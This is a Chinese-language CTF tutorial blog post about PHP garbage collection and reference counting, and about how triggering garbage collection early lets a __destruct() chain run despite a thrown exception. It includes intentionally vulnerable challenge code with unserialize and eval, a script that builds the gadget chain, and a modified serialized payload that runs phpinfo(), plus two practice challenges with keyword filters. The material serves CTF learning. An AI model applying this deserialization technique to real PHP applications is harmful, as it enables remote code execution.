浅谈php GC(垃圾回收)机制及其与CTF的一点缘分

2023-06-15,,

0x00 侠客日常(一):CTF江湖试剑

众所周知,在php中,当对象被销毁时会自动调用__destruct()方法,同时也要知道,如果程序报错或者抛出异常,则就不会触发该魔术方法。

看题:

<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class bb{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
}
}
class cc{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>

很简单的一道题:

首先调用__destruct()方法-->通过num参数触发__toString()方法-->给string参数赋值,调用cc的flag()方法,实现RCE。

思路很简单,但是注意这里有拦路虎:

这里代码末尾做了异常抛出处理,就没法触发我们想要的__destruct()方法,此时该如何绕过它呢?

少侠勿慌,先练练秘笈。

0x01 侠客日常(二):修炼秘笈-php垃圾回收机制

一、初练神功

要解决上面遇到的拦路虎,就不得不了解一下php的GC机制:GC全称Garbage Collection,即垃圾回收机制。

php中,主要采用引用计数的方式来支持垃圾回收机制。简单来说,就是引用计数为0的变量可以进行回收,腾出资源。php中的变量存在于一个叫"zval"的变量容器中,容器中包含了变量的类型和值,以及两个字节的信息:

一个是"is_ref":标识变量是否是引用集合,用于分开普通变量和引用变量。

一个是"refcount":用于确定指向此变量的个数,即引用的个数。

引用计数:每个内存对象都分配一个 refcount计数器,当内存对象被变量引用时,refcount计数器+1;当变量引用撤掉后(如执行unset()后),refcount计数器-1;当 refcount计数器=0时(数组对象为NULL),表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成。

总的来说,php的垃圾回收机制存在三个版本时期:5.2之前、5.3-5.6、7.0之后,下面分别说一说:

1. php <=5.2

该版本及之前的垃圾回收机制就是单纯的使用引用计数方法。但是注意,当两个或多个对象互相引用形成循环,内存对象的refcount计数器并不会消减为0,也就就是说,此时这组内存对象已经没有被使用,但又不能回收,因此出现内存泄露现象。

2.php 5.3-->5.6

php5.3开始,使用了新的垃圾回收机制,在 引用计数 基础上,实现了一种复杂的算法,来检测内存对象中循环引用存在,以避免内存泄露。

在这些版本中,PHP把那些可能是垃圾的变量容器放入根缓冲区,当根缓冲区满了之后就会启动新的垃圾回收机制。过程如下:

如果发现一个zval容器中的refcount在增加,说明不是垃圾;
如果发现一个zval容器中的refcount在减少,如果减到了0,直接当做垃圾回收;
如果发现一个zval容器中的refcount在减少,并没有减到0,PHP会把该值放到缓冲区,当做有可能是垃圾的怀疑对象;
当缓冲区达到临界值,PHP会自动调用一个方法取遍历每一个值,如果发现是垃圾就清理。

3.php>=7.0

从PHP7的NTS版本开始,以下例程的引用将不再被计数,即 $c=$b=$a 之后 a 的引用计数也是1。

具体情况如下:

1.对于null,bool,int和double的类型变量,refcount永远不会计数;
2.对于对象、资源类型,refcount计数和php5的一致;
3.对于字符串,未被引用的变量被称为“实际字符串”。而那些被引用的字符串被重复删除(即只有一个带有特定内容的被插入的字符串)并保证在请求的整个持续时间内存在,所以不需要为它们使用引用计数;如果使用了opcache,这些字符串将存在于共享内存中,在这种情况下,您不能使用引用计数(因为我们的引用计数机制是非原子的);
4.对于数组,未引用的变量被称为“不可变数组”。其数组本身计数与php5一致,但是数组里面的每个键值对的计数,则按前面三条的规则(即如果是字符串也不在计数);如果使用opcache,则代码中的常量数组文字将被转换为不可变数组。再次,这些生活在共享内存,因此不能使用refcounting。

测试如下:

<?php
echo '测试字符串引用计数';
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
unset( $b);
xdebug_debug_zval( 'a' );
$b = &$a;
xdebug_debug_zval( 'a' );
// 输出:
测试字符串引用计数
a: (refcount=1, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'
a: (refcount=2, is_ref=1)='new string'
# 字符串引用,计数不变,&地址引用会变 echo '测试数组引用计数';
$c = array('a','b');
xdebug_debug_zval( 'c' );
$d = $c;
xdebug_debug_zval( 'c' );
$c[2]='c';
xdebug_debug_zval( 'c' );
// 输出:
测试数组引用计数
c: (refcount=2, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b')
c: (refcount=3, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b')
c: (refcount=1, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b', 2 => (refcount=1, is_ref=0)='c')
# 数组引用,数组本身计数加一,但数组里的键值对不变 echo '测试int型计数';
$e = 1;
xdebug_debug_zval( 'e' );
// 输出
测试int型计数
e: (refcount=0, is_ref=0)=1
# int型不计数

二、神功小成

通过如上的介绍与实验,我们可以总结如下:

1.绕过该异常抛出的方法就是通过提前触发垃圾回收机制,唤醒__destruct()魔术方法。

2.触发垃圾回收机制的方法有:(本质即使对象引用计数归零)

(1)对象被unset()处理时,可以触发。

(2)数组对象为NULL时,可以触发。

0x02 侠客日常(三):牛刀小试

上面我们知道了,当对象为NULL时也是可以触发_destruct()的,因此我们这里的话来试一下先传值给数组,之后将第二个索引置空:先构造payload:

<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
}
class bb{
public $string;
}
class cc{
public $cmd;
}
$a = new aa();
$a->num=new bb();
$a->num->string=new cc();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);

得到:

a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

i:1修改为i:0:

a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

打一下:

可以看到,成功执行执行phpinfo()。

0x03 侠客日常(四):挑战群雄

知道了原理,也经过了实验,想必各位侠客们早已创出了不少独家绝学,迫不及待要一展身手了,因此在这里摆下擂台,设下题目,给各位大侠一展拳脚:

题目一:CTFShow[卷王杯]easy unserialize

<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php"); class one {
public $object; public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
} public function __destruct() {
@$this->object->add();
} public function __toString() {
return $this->object->string;
}
} class second {
protected $filename; protected function addMe() {
return "Wow you have sovled".$this->filename;
} public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
} class third {
private $string; public function __construct($string) {
$this->string = $string;
} public function __get($name) {
$var = $this->$name;
$var[$name]();
}
} if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}

题目二:[NSSCTF]prize_p1

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
} class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

浅谈php GC(垃圾回收)机制及其与CTF的一点缘分的相关教程结束。

《浅谈php GC(垃圾回收)机制及其与CTF的一点缘分.doc》

下载本文的Word格式文档,以方便收藏与打印。